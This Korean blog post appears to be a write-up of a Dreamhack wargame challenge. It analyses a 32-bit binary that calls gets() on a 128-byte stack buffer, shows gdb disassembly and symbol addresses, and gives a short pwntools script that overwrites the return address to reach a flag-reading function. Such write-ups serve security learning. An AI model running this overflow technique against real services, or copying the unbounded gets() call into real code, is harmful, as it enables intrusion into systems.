728x90
반응형
문제 : https://dreamhack.io/wargame/challenges/3
Environment
- 32비트 바이너리 파일
- 리틀 엔디안
- stack canary 없음 - buffer overflow 공격 가능
- NX bit 사용
- no pie - 주소값 고정
Code Analysis
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
- gets()함수 : 입력에 제한을 두지 않아 버퍼 오버플로우가 일어나기 쉬움.
- read_flag()함수를 통해 /flag 값을 읽을 수 있음
- RET, 즉 return 값에 read_flag()함수를 넣어주면 익스플로잇이 가능할 것으로 보임
Trigger
buffer overflow 발생
Stack Frame
(gdb) disass main
Dump of assembler code for function main:
0x080485cc <+0>: push %ebp
0x080485cd <+1>: mov %esp,%ebp
0x080485cf <+3>: add $0xffffff80,%esp
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea -0x80(%ebp),%eax
0x080485da <+14>: push %eax
0x080485db <+15>: call 0x80483d0 <gets@plt>
0x080485e0 <+20>: add $0x4,%esp
0x080485e3 <+23>: mov $0x0,%eax
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
- 128 byte : 버퍼
- push %eax : 4byte
- buffer + eax : 132 byte
(gdb) info function
All defined functions:
Non-debugging symbols:
0x08048398 _init
0x080483d0 gets@plt
0x080483e0 signal@plt
0x080483f0 alarm@plt
0x08048400 puts@plt
0x08048410 system@plt
0x08048420 exit@plt
0x08048430 __libc_start_main@plt
0x08048440 setvbuf@plt
0x08048450 __gmon_start__@plt
0x08048460 _start
0x08048490 __x86.get_pc_thunk.bx
0x080484a0 deregister_tm_clones
0x080484d0 register_tm_clones
0x08048510 __do_global_dtors_aux
0x08048530 frame_dummy
0x0804855b alarm_handler
0x08048572 initialize
0x080485b9 read_flag
0x080485cc main
0x080485f0 __libc_csu_init
0x08048650 __libc_csu_fini
0x08048654 _fini
- read_flag의 주소는 0x080485b9로 고정됨
Exploit Scenario
132byte의 입력 + read_flag의 주소
Exploit
frompwn import *
p = remote(호스트, 포트번호)
context.arch = "i386" #32bit
read_flag = p32(0x080485b9)
payload = b"\x80" * 132
payload += read_flag
p.sendline(payload)
p.interactive()
728x90
반응형
'Hacking > Wargame' 카테고리의 다른 글
[Reversing] Reversing Basic Challenge #0 (2) | 2024.07.28 |
---|---|
[Pwnable] bof (2) | 2024.07.28 |
[Cryptography] Textbook-RSA (1) | 2024.02.13 |
[Cryptography] Textbook-DH (1) | 2024.02.13 |
[Pwnable] basic_exploitation_000 (0) | 2024.02.09 |